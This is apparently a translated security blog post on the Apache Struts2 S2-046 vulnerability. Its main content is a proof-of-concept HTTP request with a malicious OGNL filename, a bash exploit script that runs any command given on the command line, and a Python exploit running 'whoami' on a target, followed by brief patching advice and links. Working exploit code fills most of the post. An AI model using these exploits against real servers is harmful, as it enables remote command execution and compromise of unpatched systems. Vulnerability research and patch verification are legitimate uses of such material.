Struts2-046 vulnerability

The house leaks in the rain, and the boat meets the wind again

Disclaimer: * The tools in the article are for personal testing and research. Please delete them within 24 hours after downloading. Do not use them for commercial or illegal purposes.
The Apache Struts 2 2.3.x version prior to 2.3.32 and the Jakarta Multipart parser in version 2.5.x prior to 2.5.10.1 have security vulnerabilities that the program did not properly handle file uploads. An attacker can create a remote arbitrary code by constructing a Content-Type value in the HTTP request header. S2-046 and the S2-045 vulnerability belong to the same type and different vectors. If the user has upgraded the official patch after the previous S2-045 vulnerability exposure, this time will not be affected.

Triggering conditions

  1. The size of the uploaded file (specified by the Content-Length header) is greater than the maximum size allowed by Struts2 (2GB).
  2. The file name content constructs malicious OGNL content.

S2-046PoC

1
2
3
4
5
6
7
8
9
10
11
12
POST /doUpload.action HTTP/1.1
Host: localhost:8080
Content-Length: 10000000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
Connection: close
------WebKitFormBoundaryAnmUgTEhFhOZpr9z
Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
Content-Type: text/plain
Kaboom
------WebKitFormBoundaryAnmUgTEhFhOZpr9z--

Exp

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash
url=$1
cmd=$2
shift
shift
boundary="---------------------------735323031399963166993862150"
content_type="multipart/form-data; boundary=$boundary"
payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@

sh exploit-cd.sh http://xxx.com/action “whoami”

Python Edition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
__author__ = 'hackteam.cn'
import pycurl
import StringIO
import urllib
def tt(url,data):
sio = StringIO.StringIO()
c = pycurl.Curl()
c.setopt(pycurl.URL, url)
c.setopt(pycurl.REFERER, url)
c.setopt(pycurl.HTTPHEADER, ['Connection: close', 'Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150', 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36'])
c.setopt(pycurl.HTTP_VERSION, pycurl.CURL_HTTP_VERSION_1_0)
c.setopt(pycurl.POST, 1)
c.setopt(pycurl.POSTFIELDS, data)
c.setopt(pycurl.CONNECTTIMEOUT, 300)
c.setopt(pycurl.TIMEOUT, 300)
c.setopt(pycurl.WRITEFUNCTION, sio.write)
try:
c.perform()
except Exception, ex:
pass
c.close()
resp = sio.getvalue()
sio.close()
return resp
data="-----------------------------735323031399963166993862150\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n-----------------------------735323031399963166993862150--\r\n\r\n"
print tt('https://xxx.action',data)

Fixing suggestions

  1. Strictly filter the contents of Content-Type and filename. It is forbidden to use ognl expression related fields.
  2. If you are using a Jakarta based plugin, please upgrade to Apache Struts 2.3.32 or 2.5.10.1. (highly recommended)

Official website announcement

https://cwiki.apache.org/confluence/display/WW/S2-045
https://cwiki.apache.org/confluence/display/WW/S2-046

Patch address

Reference

http://struts.apache.org/docs/s2-045.html
http://struts.apache.org/docs/s2-046.html
https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723

Portal

[struts2-052 vulnerability] (http://thief.one/2017/09/06/1)
[struts2-046 vulnerability] (http://thief.one/2017/03/21/Struts2-046%E6%BC%8F%E6%B4%9E/)
[struts2_045 vulnerability] (http://thief.one/2017/03/07/Struts2-045%E6%BC%8F%E6%B4%9E/)
[struts2 vulnerability poc summary] (http://thief.one/2017/03/13/Struts2%E6%BC%8F%E6%B4%9EPOC%E6%B1%87%E6%80%BB/)

本文标题:Struts2-046 vulnerability

文章作者:nmask

发布时间:2017年03月21日 - 10:03

最后更新:2019年08月16日 - 14:08

原始链接:https://thief.one/2017/03/21/Struts2-046 vulnerability/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

nmask wechat
欢迎您扫一扫上面的微信公众号,订阅我的博客!
坚持原创技术分享,您的支持将鼓励我继续创作!

热门文章推荐: